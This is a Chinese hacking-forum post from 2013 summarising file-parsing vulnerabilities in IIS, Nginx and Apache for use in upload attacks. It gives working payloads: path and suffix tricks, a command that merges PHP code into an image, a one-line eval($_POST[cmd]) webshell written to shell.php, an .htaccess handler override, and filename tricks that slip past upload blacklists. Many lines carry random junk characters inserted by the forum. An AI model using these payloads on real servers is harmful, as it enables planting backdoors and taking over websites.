找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2697|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
2 W) Q! ^/ Y+ q" \+ X1 o1 v[+]IIS6.0
* ^/ O# P* k% o% }; z ! n- M' E2 u1 R2 x: k( j7 V/ a
目录解析:/xx.asp/xx.jpg
4 g1 I3 P, c0 z' Y! X xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
' ~3 ]7 G0 d0 L' o* o. R# n, | IIS6.0 会将 xx.jpg 解析为 asp 文件。
9 w2 v) Z6 h- n) @" e! z: ]" ~后缀解析:/xx.asp;.jpg     2 j% s( o  u$ `- M" }
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。# a9 ^; T! `' u' n& K$ ]/ y
默认解析:/xx.asa0 p. W# m# U3 B4 l* a% k
         /xx.cer* _: g. W9 i1 e5 d# ?4 \
         /xx.cdx) p' f  k6 s! [' j
IIS6.0 默认的可执行文件除了 asp 还包含这三种
5 m, y1 o, ^: e' q- d 此处可联系利用目录解析漏洞 & _3 U+ A& {; p4 w  Y0 {
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
( D9 s  G9 b$ T$ J) \, K( X: m[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
0 o  X, ^6 F) `6 F0 U# N( X
( \# s0 O) I) A4 ?' A IIS 7.0/IIS 7.5/Nginx <0.8.032 K7 J0 i# p3 b) P
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
* [8 D" _% L4 P+ g9 a 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
/ v0 C$ f: E* [2 ?! o1 Z/ \ 常用利用方法:5 L2 }2 J+ B0 ^0 `) @
将一张图和一个写入后门代码的文本文件合并将恶意文本
( N. Y% I% j% j; C1 q 写入图片的二进制代码之后,避免破坏图片文件头和尾
* p9 O$ |; f6 ^5 \ 如:  \2 ]# X: _# ?9 G
copy xx.jpg /b + yy.txt/a xy.jpg0 y+ D* }1 J$ K8 B4 x" `! S
#########################################################" A. ]$ n8 a; k% f
/b 即二进制[binary]模式% z9 {0 J# Q0 Y" X6 d1 K+ m
/a 即ascii模式' x4 Q# P$ s3 T+ t  K" l0 X
xx.jpg 正常图片文件) T( H! M" {; \( }1 v% V
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),5 D: w, T1 h7 P9 o
'<?php eval($_POST[cmd])?>');?>7 I# G9 H& x$ I7 ]- i- z
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
2 s$ A4 b! s$ F* m6 Y. X 为shell.php的文件2 v# w. C- S( O& K" Y
###########################################################
$ k# A1 ~1 c! O 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php - D7 @) m. V7 g2 U$ a+ A$ Z  a
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php / c& T+ u4 h# l1 ?3 @, ?
密码 cmd
. C- b& t7 ]6 |$ _- j/ C[+]Nginx <0.8.031 q2 x0 k% U: v& i( o

# s- W2 p/ Q3 o( d; J 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞1 Q% P+ T( b, `5 m: a
在一个文件路径(/xx.jpg)后面加上%00.php+ {, @' V! j; |/ A- W
会将 /xx.jpg%00.php 解析为 php 文件。. b+ A- T( {8 f, H; H2 h
[+]Apache<0.8.032 e; O8 B7 I' k3 P1 u

. _7 m7 H+ E; T1 E7 x  w 后缀解析:test.php.x1.x2.x3! l/ f  X5 f" E7 ?& {! D4 ]# e1 X
Apache将从右至左开始判断后缀,若x3非可识别后缀,' R9 R' p- d+ |# {% ]
再判断x2,直到找到可识别后缀为止,然后将该可识别
- k' a: o) a2 i9 t+ X4 B& I 后缀进解析test.php.x1.x2.x3 则会被解析为php+ x% U8 H# W/ t& O
经验之谈:php|php3|phtml 多可被Apache解析。5 P; {  L' |5 L  {$ `
[+]其他一些可利用的$ D. C! K6 k. g& P3 R) I

: Y$ |0 |2 P& _在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的) K" L# `7 X+ h" L* ~
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
" A: ^5 i0 \+ ^; K& K在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格9 f8 {. p- R3 q" e0 c, S" x
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可' `% A% v8 C2 w( ~) L3 o4 x( }, t( S& f
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。2 Q) O# v7 _+ H9 Z5 n; _
{Linux主机中不行,Linux允许这类文件存在}; W; g) k2 W  y& g) z
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
$ X- q. g# p( y$ R5 ~的,当初我并不知道),且可以被上传,那可以尝试在! M9 W1 _  y  z; S: I
.htaccess中写入:) K  u3 L" F2 Y0 H' }( L9 u% a
<FilesMatch “shell.jpg”>
3 r7 O# E3 p7 P7 o. X+ y" nSetHandler application/x-httpd-php
/ m0 J8 U# `' k% y5 Y</FilesMatch>
/ G2 w, D6 E3 Z8 mshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件! J  D; J' _% I! x4 V2 d: K5 C
[+]错误修改' x1 y5 E5 l- t

) s- M, d5 T. Q6 x在 IIS 6.0 下可解析 /xx.asp:.jpg! n1 @  H8 L% A
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
$ }0 G: n7 a; t& d' w' h% A+ U剩下/xx.asp}修改:
5 H' p6 v  C" J( c先谢谢核攻击的提醒
0 a) _& o- Z! R# u5 F  `当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp% Q3 J1 y- c, u
里是没有任何内容的,因为。。不好解释 大家自己看9 x( ?2 i- u; X+ f8 f' @( w# |
http://lcx.cc/?i=2448( v) O) O0 I3 ]6 c6 b7 R$ i. I4 H1 M0 o
http://baike.baidu.com/view/3619593.htm8 T% x2 S: S) i. s! [* g. X& m: x, s
: S+ D  Y$ e- a( `2 L- {3 \8 K' g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表